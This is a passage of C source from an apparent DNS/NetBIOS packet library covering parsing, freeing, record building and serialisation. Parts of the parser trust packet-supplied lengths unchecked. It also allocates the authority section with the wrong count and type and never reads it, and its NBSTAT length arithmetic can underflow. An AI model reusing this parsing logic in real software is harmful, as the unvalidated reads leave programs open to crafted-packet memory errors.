262 dns->additional_count = buffer_read_next_int16(buffer);
263
264 /* Parse the 'flags' field:
265 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
266 * | 1 1 1 1 1 1|
267 * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5|
268 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
269 * |QR| Opcode |AA|TC|RD|RA| Z | RCODE |
270 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ */
271 dns->opcode = flags & 0x7800;
272 dns->flags = flags & 0x8780;
273 dns->rcode = flags & 0x000F;
274
275 if(dns->question_count)
276 {
277 dns->questions = (question_t*) safe_malloc(dns->question_count * sizeof(question_t));
278 for(i = 0; i < dns->question_count; i++)
279 {
280 dns->questions[i].name = buffer_read_next_dns_name(buffer);
281 dns->questions[i].type = buffer_read_next_int16(buffer);
282 dns->questions[i].class = buffer_read_next_int16(buffer);
283 }
284 }
285
286 if(dns->answer_count)
287 {
288 dns->answers = (answer_t*) safe_malloc(dns->answer_count * sizeof(answer_t));
289 for(i = 0; i < dns->answer_count; i++)
290 {
291 dns->answers[i].question = buffer_read_next_dns_name(buffer); /* The question. */
292 dns->answers[i].type = buffer_read_next_int16(buffer); /* Type. */
293 dns->answers[i].class = buffer_read_next_int16(buffer); /* Class. */
294 dns->answers[i].ttl = buffer_read_next_int32(buffer); /* Time to live. */
295 dns->answers[i].answer = (answer_types_t *) safe_malloc(sizeof(answer_types_t));
296
297 if(dns->answers[i].type == _DNS_TYPE_A) /* 0x0001 */
298 {
299 buffer_read_next_int16(buffer); /* String size (don't care) */
300
301 dns->answers[i].answer->A.address = safe_malloc(16);
302 buffer_peek_next_bytes(buffer, dns->answers[i].answer->A.bytes, 4);
303 buffer_read_next_ipv4_address(buffer, dns->answers[i].answer->A.address);
304 }
305 else if(dns->answers[i].type == _DNS_TYPE_NS) /* 0x0002 */
306 {
307 buffer_read_next_int16(buffer); /* String size. */
308 dns->answers[i].answer->NS.name = buffer_read_next_dns_name(buffer); /* The answer. */
309 }
310 else if(dns->answers[i].type == _DNS_TYPE_CNAME) /* 0x0005 */
311 {
312 buffer_read_next_int16(buffer); /* String size (don't care). */
313 dns->answers[i].answer->CNAME.name = buffer_read_next_dns_name(buffer); /* The answer. */
314 }
315 else if(dns->answers[i].type == _DNS_TYPE_MX) /* 0x000F */
316 {
317 buffer_read_next_int16(buffer); /* String size (don't care). */
318 dns->answers[i].answer->MX.preference = buffer_read_next_int16(buffer); /* Preference. */
319 dns->answers[i].answer->MX.name = buffer_read_next_dns_name(buffer); /* The answer. */
320 }
321 else if(dns->answers[i].type == _DNS_TYPE_TEXT) /* 0x0010 */
322 {
323 buffer_read_next_int16(buffer); /* String size (don't care). */
324 dns->answers[i].answer->TEXT.length = buffer_read_next_int8(buffer); /* The actual length. */
325 dns->answers[i].answer->TEXT.text = safe_malloc(dns->answers[i].answer->TEXT.length); /* Allocate room for the answer. */
326 buffer_read_next_bytes(buffer, dns->answers[i].answer->TEXT.text, dns->answers[i].answer->TEXT.length); /* Read the answer. */
327 }
328 #ifndef WIN32
329 else if(dns->answers[i].type == _DNS_TYPE_AAAA) /* 0x001C */
330 {
331 buffer_read_next_int16(buffer); /* String size (don't care). */
332
333 dns->answers[i].answer->AAAA.address = safe_malloc(40);
334 buffer_peek_next_bytes(buffer, dns->answers[i].answer->AAAA.bytes, 16);
335 buffer_read_next_ipv6_address(buffer, dns->answers[i].answer->AAAA.address);
336 }
337 #endif
338 else if(dns->answers[i].type == _DNS_TYPE_NB) /* 0x0020 */
339 {
340 buffer_read_next_int16(buffer); /* String size (don't care). */
341
342 dns->answers[i].answer->NB.flags = buffer_read_next_int16(buffer);
343 dns->answers[i].answer->NB.address = safe_malloc(16);
344 buffer_read_next_ipv4_address(buffer, dns->answers[i].answer->NB.address);
345 }
346 else if(dns->answers[i].type == _DNS_TYPE_NBSTAT) /* 0x0021 */
347 {
348 uint8_t j;
349
350 uint16_t size = buffer_read_next_int16(buffer); /* String size (don't care). */
351 dns->answers[i].answer->NBSTAT.name_count = buffer_read_next_int8(buffer);
352 dns->answers[i].answer->NBSTAT.names = (NBSTAT_name_t*) safe_malloc(sizeof(NBSTAT_name_t) * dns->answers[i].answer->NBSTAT.name_count);
353
354 /* Read the list of names. */
355 for(j = 0; j < dns->answers[i].answer->NBSTAT.name_count; j++)
356 {
357 char tmp[16];
358 char *end;
359
360 /* Read the full name. */
361 buffer_read_next_bytes(buffer, tmp, 16);
362
363 /* The type is the last byte -- read it then terminate the string properly. */
364 dns->answers[i].answer->NBSTAT.names[j].name_type = tmp[15];
365 tmp[15] = 0;
366
367 /* Find the end and, if it was found, terminate it. */
368 end = strchr(tmp, ' ');
369 if(end)
370 *end = 0;
371
372 /* Save this name. */
373 dns->answers[i].answer->NBSTAT.names[j].name = safe_strdup(tmp);
374
375 /* Finally, read the flags. */
376 dns->answers[i].answer->NBSTAT.names[j].name_flags = buffer_read_next_int16(buffer);
377 }
378
379 /* Read the rest of the data -- for a bit of safety so we don't read too far, do some math to figure out exactly what's left. */
380 buffer_read_next_bytes(buffer, dns->answers[i].answer->NBSTAT.stats, MIN(64, size - 1 - (dns->answers[i].answer->NBSTAT.name_count * 16)));
381 }
382 else
383 {
384 uint16_t size;
385
386 fprintf(stderr, "WARNING: Don't know how to parse an answer of type 0x%04x (discarding)\n", dns->answers[i].type);
387 size = buffer_read_next_int16(buffer);
388 buffer_consume(buffer, size);
389 }
390 }
391 }
392
393 /* TODO */
394 if(dns->authority_count)
395 {
396 dns->authorities = (authority_t*) safe_malloc(dns->question_count * sizeof(question_t));
397 }
398
399 if(dns->additional_count)
400 {
401 dns->additionals = (additional_t*) safe_malloc(dns->additional_count * sizeof(additional_t));
402 for(i = 0; i < dns->additional_count; i++)
403 {
404 dns->additionals[i].question = buffer_read_next_dns_name(buffer); /* The question. */
405 dns->additionals[i].type = buffer_read_next_int16(buffer); /* Type. */
406 dns->additionals[i].class = buffer_read_next_int16(buffer); /* Class. */
407 dns->additionals[i].ttl = buffer_read_next_int32(buffer); /* Time to live. */
408 dns->additionals[i].additional = (additional_types_t *) safe_malloc(sizeof(additional_types_t));
409
410 if(dns->additionals[i].type == _DNS_TYPE_A) /* 0x0001 */
411 {
412 buffer_read_next_int16(buffer); /* String size (don't care) */
413
414 dns->additionals[i].additional->A.address = safe_malloc(16);
415 buffer_read_next_ipv4_address(buffer, dns->additionals[i].additional->A.address);
416 }
417 else if(dns->additionals[i].type == _DNS_TYPE_NS) /* 0x0002 */
418 {
419 buffer_read_next_int16(buffer); /* String size. */
420 dns->additionals[i].additional->NS.name = buffer_read_next_dns_name(buffer); /* The additional. */
421 }
422 else if(dns->additionals[i].type == _DNS_TYPE_CNAME) /* 0x0005 */
423 {
424 buffer_read_next_int16(buffer); /* String size (don't care). */
425 dns->additionals[i].additional->CNAME.name = buffer_read_next_dns_name(buffer); /* The additional. */
426 }
427 else if(dns->additionals[i].type == _DNS_TYPE_MX) /* 0x000F */
428 {
429 buffer_read_next_int16(buffer); /* String size (don't care). */
430 dns->additionals[i].additional->MX.preference = buffer_read_next_int16(buffer); /* Preference. */
431 dns->additionals[i].additional->MX.name = buffer_read_next_dns_name(buffer); /* The additional. */
432 }
433 else if(dns->additionals[i].type == _DNS_TYPE_TEXT) /* 0x0010 */
434 {
435 buffer_read_next_int16(buffer); /* String size (don't care). */
436 dns->additionals[i].additional->TEXT.length = buffer_read_next_int8(buffer); /* The actual length. */
437 dns->additionals[i].additional->TEXT.text = safe_malloc(dns->additionals[i].additional->TEXT.length); /* Allocate room for the additional. */
438 buffer_read_next_bytes(buffer, dns->additionals[i].additional->TEXT.text, dns->additionals[i].additional->TEXT.length); /* Read the additional. */
439 }
440 #ifndef WIN32
441 else if(dns->additionals[i].type == _DNS_TYPE_AAAA) /* 0x001C */
442 {
443 buffer_read_next_int16(buffer); /* String size (don't care). */
444
445 dns->additionals[i].additional->AAAA.address = safe_malloc(40);
446 buffer_read_next_ipv6_address(buffer, dns->additionals[i].additional->AAAA.address);
447 }
448 #endif
449 else if(dns->additionals[i].type == _DNS_TYPE_NB) /* 0x0020 */
450 {
451 buffer_read_next_int16(buffer); /* String size (don't care). */
452
453 dns->additionals[i].additional->NB.flags = buffer_read_next_int16(buffer);
454 dns->additionals[i].additional->NB.address = safe_malloc(16);
455 buffer_read_next_ipv4_address(buffer, dns->additionals[i].additional->NB.address);
456 }
457 else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT) /* 0x0021 */
458 {
459 uint8_t j;
460
461 uint16_t size = buffer_read_next_int16(buffer); /* String size (don't care). */
462 dns->additionals[i].additional->NBSTAT.name_count = buffer_read_next_int8(buffer);
463 dns->additionals[i].additional->NBSTAT.names = (NBSTAT_name_t*) safe_malloc(sizeof(NBSTAT_name_t) * dns->additionals[i].additional->NBSTAT.name_count);
464
465 /* Read the list of names. */
466 for(j = 0; j < dns->additionals[i].additional->NBSTAT.name_count; j++)
467 {
468 char tmp[16];
469 char *end;
470
471 /* Read the full name. */
472 buffer_read_next_bytes(buffer, tmp, 16);
473
474 /* The type is the last byte -- read it then terminate the string properly. */
475 dns->additionals[i].additional->NBSTAT.names[j].name_type = tmp[15];
476 tmp[15] = 0;
477
478 /* Find the end and, if it was found, terminate it. */
479 end = strchr(tmp, ' ');
480 if(end)
481 *end = 0;
482
483 /* Save this name. */
484 dns->additionals[i].additional->NBSTAT.names[j].name = safe_strdup(tmp);
485
486 /* Finally, read the flags. */
487 dns->additionals[i].additional->NBSTAT.names[j].name_flags = buffer_read_next_int16(buffer);
488 }
489
490 /* Read the rest of the data -- for a bit of safety so we don't read too far, do some math to figure out exactly what's left. */
491 buffer_read_next_bytes(buffer, dns->additionals[i].additional->NBSTAT.stats, MIN(64, size - 1 - (dns->additionals[i].additional->NBSTAT.name_count * 16)));
492 }
493 else
494 {
495 uint16_t size;
496
497 /* fprintf(stderr, "WARNING: Don't know how to parse an additional of type 0x%04x (discarding)\n", dns->additionals[i].type);*/
498 size = buffer_read_next_int16(buffer);
499 buffer_consume(buffer, size);
500 }
501 }
502 }
503
504 buffer_destroy(buffer);
505
506 return dns;
507 }
508
509 void dns_destroy(dns_t *dns)
510 {
511 uint32_t i;
512
513 if(dns->questions)
514 {
515 /* Free the names. */
516 for(i = 0; i < dns->question_count; i++)
517 safe_free(dns->questions[i].name);
518
519 /* Free the question. */
520 safe_free(dns->questions);
521 }
522
523 if(dns->answers)
524 {
525 /* Free the names. */
526 for(i = 0; i < dns->answer_count; i++)
527 {
528 safe_free(dns->answers[i].question);
529
530 if(dns->answers[i].type == _DNS_TYPE_A)
531 {
532 safe_free(dns->answers[i].answer->A.address);
533 }
534 else if(dns->answers[i].type == _DNS_TYPE_NS)
535 {
536 safe_free(dns->answers[i].answer->NS.name);
537 }
538 else if(dns->answers[i].type == _DNS_TYPE_CNAME)
539 {
540 safe_free(dns->answers[i].answer->CNAME.name);
541 }
542 else if(dns->answers[i].type == _DNS_TYPE_MX)
543 {
544 safe_free(dns->answers[i].answer->MX.name);
545 }
546 else if(dns->answers[i].type == _DNS_TYPE_TEXT)
547 {
548 safe_free(dns->answers[i].answer->TEXT.text);
549 }
550 #ifndef WIN32
551 else if(dns->answers[i].type == _DNS_TYPE_AAAA)
552 {
553 safe_free(dns->answers[i].answer->AAAA.address);
554 }
555 #endif
556 else if(dns->answers[i].type == _DNS_TYPE_NB)
557 {
558 safe_free(dns->answers[i].answer->NB.address);
559 }
560 else if(dns->answers[i].type == _DNS_TYPE_NBSTAT)
561 {
562 uint8_t j;
563 for(j = 0; j < dns->answers[i].answer->NBSTAT.name_count; j++)
564 safe_free(dns->answers[i].answer->NBSTAT.names[j].name);
565 safe_free(dns->answers[i].answer->NBSTAT.names);
566 }
567 safe_free(dns->answers[i].answer);
568 }
569 safe_free(dns->answers);
570 }
571
572 if(dns->authorities)
573 {
574 safe_free(dns->authorities);
575 }
576
577 if(dns->additionals)
578 {
579 /* Free the names. */
580 for(i = 0; i < dns->additional_count; i++)
581 {
582 safe_free(dns->additionals[i].question);
583
584 if(dns->additionals[i].type == _DNS_TYPE_A)
585 {
586 safe_free(dns->additionals[i].additional->A.address);
587 }
588 else if(dns->additionals[i].type == _DNS_TYPE_NS)
589 {
590 safe_free(dns->additionals[i].additional->NS.name);
591 }
592 else if(dns->additionals[i].type == _DNS_TYPE_CNAME)
593 {
594 safe_free(dns->additionals[i].additional->CNAME.name);
595 }
596 else if(dns->additionals[i].type == _DNS_TYPE_MX)
597 {
598 safe_free(dns->additionals[i].additional->MX.name);
599 }
600 else if(dns->additionals[i].type == _DNS_TYPE_TEXT)
601 {
602 safe_free(dns->additionals[i].additional->TEXT.text);
603 }
604 #ifndef WIN32
605 else if(dns->additionals[i].type == _DNS_TYPE_AAAA)
606 {
607 safe_free(dns->additionals[i].additional->AAAA.address);
608 }
609 #endif
610 else if(dns->additionals[i].type == _DNS_TYPE_NB)
611 {
612 safe_free(dns->additionals[i].additional->NB.address);
613 }
614 else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT)
615 {
616 uint8_t j;
617 for(j = 0; j < dns->additionals[i].additional->NBSTAT.name_count; j++)
618 safe_free(dns->additionals[i].additional->NBSTAT.names[j].name);
619 safe_free(dns->additionals[i].additional->NBSTAT.names);
620 }
621 safe_free(dns->additionals[i].additional);
622 }
623 safe_free(dns->additionals);
624 }
625
626 safe_free(dns);
627 }
628
629 void dns_set_trn_id(dns_t *dns, uint16_t trn_id)
630 {
631 dns->trn_id = trn_id;
632 }
633
634 uint16_t dns_get_trn_id(dns_t *dns)
635 {
636 return dns->trn_id;
637 }
638
639 void dns_set_flags(dns_t *dns, uint16_t flags)
640 {
641 dns->flags = flags;
642 }
643
644 uint16_t dns_get_flags(dns_t *dns)
645 {
646 return dns->flags;
647 }
648
649 void dns_add_question(dns_t *dns, char *name, dns_type_t type, dns_class_t class)
650 {
651 /* Increment the question count. */
652 dns->question_count = dns->question_count + 1;
653
654 /* Create or embiggen the questions array (this isn't efficient, but it typically
655 * isn't called much. */
656 if(dns->questions)
657 dns->questions = (question_t*) safe_realloc(dns->questions, sizeof(question_t) * dns->question_count);
658 else
659 dns->questions = (question_t*) safe_malloc(sizeof(question_t));
660
661 /* Set up the last element. */
662 (dns->questions[dns->question_count - 1]).name = safe_strdup(name);
663 (dns->questions[dns->question_count - 1]).type = type;
664 (dns->questions[dns->question_count - 1]).class = class;
665 }
666
667 void dns_add_netbios_question(dns_t *dns, char *name, uint8_t name_type, char *scope, dns_type_t type, dns_class_t class)
668 {
669 /* Create a buffer where we're going to build our complete name. */
670 buffer_t *buffer = buffer_create(BO_NETWORK);
671 char *encoded;
672 char padding = !strcmp(name, "*") ? '\0' : ' ';
673 size_t i;
674
675 /* Encode the name. */
676 for(i = 0; i < strlen(name); i++)
677 {
678 buffer_add_int8(buffer, ((name[i] >> 4) & 0x0F) + 'A');
679 buffer_add_int8(buffer, ((name[i] >> 0) & 0x0F) + 'A');
680 }
681
682 /* Padding the name. */
683 for(; i < 15; i++)
684 {
685 buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A');
686 buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A');
687 }
688
689 /* Type. */
690 buffer_add_int8(buffer, ((name_type >> 4) & 0x0F) + 'A');
691 buffer_add_int8(buffer, ((name_type >> 0) & 0x0F) + 'A');
692
693 /* Scope. */
694 buffer_add_int8(buffer, '.');
695 if(scope)
696 buffer_add_string(buffer, scope);
697
698 /* Null terminator. */
699 buffer_add_int8(buffer, 0);
700
701 /* Add the question as usual. */
702 encoded = (char*)buffer_create_string_and_destroy(buffer, NULL);
703 dns_add_question(dns, encoded, type, class);
704 safe_free(encoded);
705 }
706
707 static void dns_add_answer(dns_t *dns, char *question, dns_type_t type, dns_class_t class, uint32_t ttl, answer_types_t *answer)
708 {
709 /* Increment the answer count. */
710 dns->answer_count = dns->answer_count + 1;
711
712 /* Create or embiggen the answers array (this isn't efficient, but it typically
713 * isn't called much. */
714 if(dns->answers)
715 dns->answers = (answer_t*) safe_realloc(dns->answers, sizeof(answer_t) * dns->answer_count);
716 else
717 dns->answers = (answer_t*) safe_malloc(sizeof(answer_t));
718
719 /* Set up the last element. */
720 (dns->answers[dns->answer_count - 1]).question = safe_strdup(question);
721 (dns->answers[dns->answer_count - 1]).type = type;
722 (dns->answers[dns->answer_count - 1]).class = class;
723 (dns->answers[dns->answer_count - 1]).ttl = ttl;
724 (dns->answers[dns->answer_count - 1]).answer = answer;
725
726 }
727
728 void dns_add_answer_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address)
729 {
730 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
731 answer->A.address = safe_strdup(address);
732 dns_add_answer(dns, question, _DNS_TYPE_A, class, ttl, answer);
733 }
734
735 void dns_add_answer_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name)
736 {
737 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
738 answer->NS.name = safe_strdup(name);
739 dns_add_answer(dns, question, _DNS_TYPE_NS, class, ttl, answer);
740 }
741
742 void dns_add_answer_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name)
743 {
744 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
745 answer->CNAME.name = safe_strdup(name);
746 dns_add_answer(dns, question, _DNS_TYPE_CNAME, class, ttl, answer);
747 }
748
749 void dns_add_answer_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name)
750 {
751 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
752 answer->MX.preference = preference;
753 answer->MX.name = safe_strdup(name);
754 dns_add_answer(dns, question, _DNS_TYPE_MX, class, ttl, answer);
755 }
756
757 void dns_add_answer_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length)
758 {
759 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
760 uint8_t *text_copy = safe_malloc(length);
761 memcpy(text_copy, text, length);
762 answer->TEXT.text = text_copy;
763 answer->TEXT.length = length;
764 dns_add_answer(dns, question, _DNS_TYPE_TEXT, class, ttl, answer);
765 }
766
767 #ifndef WIN32
768 void dns_add_answer_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address)
769 {
770 answer_types_t *answer = safe_malloc(sizeof(answer_types_t));
771 answer->AAAA.address = safe_strdup(address);
772 dns_add_answer(dns, question, _DNS_TYPE_AAAA, class, ttl, answer);
773 }
774 #endif
775
776 void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address)
777 {
778 /* Create a buffer where we're going to build our complete question. */
779 buffer_t *buffer = buffer_create(BO_NETWORK);
780 char *encoded;
781 char padding = !strcmp(question, "*") ? '\0' : ' ';
782 size_t i;
783 answer_types_t *answer;
784
785 /* Encode the question. */
786 for(i = 0; i < strlen(question); i++)
787 {
788 buffer_add_int8(buffer, ((question[i] >> 4) & 0x0F) + 'A');
789 buffer_add_int8(buffer, ((question[i] >> 0) & 0x0F) + 'A');
790 }
791
792 /* Padding the question. */
793 for(; i < 15; i++)
794 {
795 buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A');
796 buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A');
797 }
798
799 /* Type. */
800 buffer_add_int8(buffer, ((question_type >> 4) & 0x0F) + 'A');
801 buffer_add_int8(buffer, ((question_type >> 0) & 0x0F) + 'A');
802
803 /* Scope. */
804 buffer_add_int8(buffer, '.');
805 if(scope)
806 buffer_add_string(buffer, scope);
807
808 /* Null terminator. */
809 buffer_add_int8(buffer, 0);
810
811 /* Add the question as usual. */
812 encoded = (char*)buffer_create_string_and_destroy(buffer, NULL);
813
814 answer = safe_malloc(sizeof(answer_types_t));
815 answer->NB.flags = flags;
816 answer->NB.address = safe_strdup(address);
817 dns_add_answer(dns, encoded, _DNS_TYPE_NB, class, ttl, answer);
818
819 safe_free(encoded);
820 }
821
822 /* This is pretty much identical to dns_add_answer. */
823 static void dns_add_additional(dns_t *dns, char *question, dns_type_t type, dns_class_t class, uint32_t ttl, additional_types_t *additional)
824 {
825 /* Increment the additional count. */
826 dns->additional_count = dns->additional_count + 1;
827
828 /* Create or embiggen the additionals array (this isn't efficient, but it typically
829 * isn't called much. */
830 if(dns->additionals)
831 dns->additionals = (additional_t*) safe_realloc(dns->additionals, sizeof(additional_t) * dns->additional_count);
832 else
833 dns->additionals = (additional_t*) safe_malloc(sizeof(additional_t));
834
835 /* Set up the last element. */
836 (dns->additionals[dns->additional_count - 1]).question = safe_strdup(question);
837 (dns->additionals[dns->additional_count - 1]).type = type;
838 (dns->additionals[dns->additional_count - 1]).class = class;
839 (dns->additionals[dns->additional_count - 1]).ttl = ttl;
840 (dns->additionals[dns->additional_count - 1]).additional = additional;
841 }
842
843 void dns_add_additional_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address)
844 {
845 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
846 additional->A.address = safe_strdup(address);
847 dns_add_additional(dns, question, _DNS_TYPE_A, class, ttl, additional);
848 }
849
850 void dns_add_additional_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name)
851 {
852 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
853 additional->NS.name = safe_strdup(name);
854 dns_add_additional(dns, question, _DNS_TYPE_NS, class, ttl, additional);
855 }
856
857 void dns_add_additional_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name)
858 {
859 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
860 additional->CNAME.name = safe_strdup(name);
861 dns_add_additional(dns, question, _DNS_TYPE_CNAME, class, ttl, additional);
862 }
863
864 void dns_add_additional_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name)
865 {
866 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
867 additional->MX.preference = preference;
868 additional->MX.name = safe_strdup(name);
869 dns_add_additional(dns, question, _DNS_TYPE_MX, class, ttl, additional);
870 }
871
872 void dns_add_additional_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length)
873 {
874 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
875 uint8_t *text_copy = safe_malloc(length);
876 memcpy(text_copy, text, length);
877 additional->TEXT.text = text_copy;
878 additional->TEXT.length = length;
879 dns_add_additional(dns, question, _DNS_TYPE_TEXT, class, ttl, additional);
880 }
881
882 #ifndef WIN32
883 void dns_add_additional_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address)
884 {
885 additional_types_t *additional = safe_malloc(sizeof(additional_types_t));
886 additional->AAAA.address = safe_strdup(address);
887 dns_add_additional(dns, question, _DNS_TYPE_AAAA, class, ttl, additional);
888 }
889 #endif
890
891 void dns_add_additional_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address)
892 {
893 /* Create a buffer where we're going to build our complete question. */
894 buffer_t *buffer = buffer_create(BO_NETWORK);
895 char *encoded;
896 char padding = !strcmp(question, "*") ? '\0' : ' ';
897 size_t i;
898 additional_types_t *additional;
899
900 /* Encode the question. */
901 for(i = 0; i < strlen(question); i++)
902 {
903 buffer_add_int8(buffer, ((question[i] >> 4) & 0x0F) + 'A');
904 buffer_add_int8(buffer, ((question[i] >> 0) & 0x0F) + 'A');
905 }
906
907 /* Padding the question. */
908 for(; i < 15; i++)
909 {
910 buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A');
911 buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A');
912 }
913
914 /* Type. */
915 buffer_add_int8(buffer, ((question_type >> 4) & 0x0F) + 'A');
916 buffer_add_int8(buffer, ((question_type >> 0) & 0x0F) + 'A');
917
918 /* Scope. */
919 buffer_add_int8(buffer, '.');
920 if(scope)
921 buffer_add_string(buffer, scope);
922
923 /* Null terminator. */
924 buffer_add_int8(buffer, 0);
925
926 /* Add the question as usual. */
927 encoded = (char*)buffer_create_string_and_destroy(buffer, NULL);
928
929 additional = safe_malloc(sizeof(additional_types_t));
930 additional->NB.flags = flags;
931 additional->NB.address = safe_strdup(address);
932 dns_add_additional(dns, encoded, _DNS_TYPE_NB, class, ttl, additional);
933
934 safe_free(encoded);
935 }
936
937 uint8_t *dns_to_packet(dns_t *dns, size_t *length)
938 {
939 uint16_t i;
940 uint16_t flags;
941
942 /* Create the buffer. */
943 buffer_t *buffer = buffer_create(BO_NETWORK);
944
945 /* Validate and format the flags:
946 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
947 * | 1 1 1 1 1 1|
948 * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5|
949 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
950 * |QR| Opcode |AA|TC|RD|RA| Z | RCODE |
951 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
952 */
953 assert((dns->opcode & 0x7800) == dns->opcode);
954 assert((dns->rcode & 0x000F) == dns->rcode);
955 assert((dns->flags & 0x8780) == dns->flags);
956
957 flags = dns->opcode | dns->flags | dns->rcode;
958
959 /* Marshall the base stuff. */
960 buffer_add_int16(buffer, dns->trn_id);
961 buffer_add_int16(buffer, flags);
962 buffer_add_int16(buffer, dns->question_count);
963 buffer_add_int16(buffer, dns->answer_count);
964 buffer_add_int16(buffer, dns->authority_count);
965 buffer_add_int16(buffer, dns->additional_count);
966
967 /* Marshall the other fields. */
968 for(i = 0; i < dns->question_count; i++)
969 {
970 buffer_add_dns_name(buffer, (char*)dns->questions[i].name);
971 buffer_add_int16(buffer, dns->questions[i].type);
972 buffer_add_int16(buffer, dns->questions[i].class);
973 }
974
975 for(i = 0; i < dns->answer_count; i++)
976 {
977 buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */
978 /* buffer_add_int16(buffer, 0xc00c);*/
979 buffer_add_int16(buffer, dns->answers[i].type); /* Type. */
980 buffer_add_int16(buffer, dns->answers[i].class); /* Class. */
981 buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */
982
983 if(dns->answers[i].type == _DNS_TYPE_A)
984 {
985 buffer_add_int16(buffer, 4); /* Length. */
986 buffer_add_ipv4_address(buffer, dns->answers[i].answer->A.address);
987 }
988 else if(dns->answers[i].type == _DNS_TYPE_NS)
989 {
990 buffer_add_int16(buffer, strlen(dns->answers[i].answer->NS.name) + 2);
991 buffer_add_dns_name(buffer, dns->answers[i].answer->NS.name);
992 }
993 else if(dns->answers[i].type == _DNS_TYPE_CNAME)
994 {
995 buffer_add_int16(buffer, strlen(dns->answers[i].answer->CNAME.name) + 2);
996 buffer_add_dns_name(buffer, dns->answers[i].answer->CNAME.name);
997 }
998 else if(dns->answers[i].type == _DNS_TYPE_MX)
999 {
1000 buffer_add_int16(buffer, strlen(dns->answers[i].answer->MX.name) + 2 + 2);
1001 buffer_add_int16(buffer, dns->answers[i].answer->MX.preference);
1002 buffer_add_dns_name(buffer, dns->answers[i].answer->MX.name);
1003 }
1004 else if(dns->answers[i].type == _DNS_TYPE_TEXT)
1005 {
1006 buffer_add_int16(buffer, dns->answers[i].answer->TEXT.length + 1);
1007 buffer_add_int8(buffer, dns->answers[i].answer->TEXT.length);
1008 buffer_add_bytes(buffer, dns->answers[i].answer->TEXT.text, dns->answers[i].answer->TEXT.length);
1009 }
1010 #ifndef WIN32
1011 else if(dns->answers[i].type == _DNS_TYPE_AAAA)
1012 {
1013 buffer_add_int16(buffer, 16);
1014 buffer_add_ipv6_address(buffer, dns->answers[i].answer->AAAA.address);
1015 }
1016 #endif
1017 else if(dns->answers[i].type == _DNS_TYPE_NB)
1018 {
1019 buffer_add_int16(buffer, 6);
1020 buffer_add_int16(buffer, dns->answers[i].answer->NB.flags);
1021 buffer_add_ipv4_address(buffer, dns->answers[i].answer->NB.address);
1022 }
1023 else
1024 {
1025 fprintf(stderr, "WARNING: Don't know how to build answer type 0x%02x; skipping!\n", dns->answers[i].type);
1026 }
1027 }
1028 for(i = 0; i < dns->authority_count; i++)
1029 {
1030 /* TODO */
1031 }
1032
1033
1034 for(i = 0; i < dns->additional_count; i++)
1035 {
1036 buffer_add_dns_name(buffer, (char*)dns->additionals[i].question); /* Pointer to the name. */
1037 /* buffer_add_int16(buffer, 0xc00c);*/
1038 buffer_add_int16(buffer, dns->additionals[i].type); /* Type. */
1039 buffer_add_int16(buffer, dns->additionals[i].class); /* Class. */
1040 buffer_add_int32(buffer, dns->additionals[i].ttl); /* Time to live. */
1041
1042 if(dns->additionals[i].type == _DNS_TYPE_A)
1043 {
1044 buffer_add_int16(buffer, 4); /* Length. */
1045 buffer_add_ipv4_address(buffer, dns->additionals[i].additional->A.address);
1046 }
1047 else if(dns->additionals[i].type == _DNS_TYPE_NS)
1048 {
1049 buffer_add_int16(buffer, strlen(dns->additionals[i].additional->NS.name) + 2);
1050 buffer_add_dns_name(buffer, dns->additionals[i].additional->NS.name);
1051 }
1052 else if(dns->additionals[i].type == _DNS_TYPE_CNAME)
1053 {
1054 buffer_add_int16(buffer, strlen(dns->additionals[i].additional->CNAME.name) + 2);
1055 buffer_add_dns_name(buffer, dns->additionals[i].additional->CNAME.name);
1056 }
1057 else if(dns->additionals[i].type == _DNS_TYPE_MX)
1058 {
1059 buffer_add_int16(buffer, strlen(dns->additionals[i].additional->MX.name) + 2 + 2);
1060 buffer_add_int16(buffer, dns->additionals[i].additional->MX.preference);
1061 buffer_add_dns_name(buffer, dns->additionals[i].additional->MX.name);
1062 }
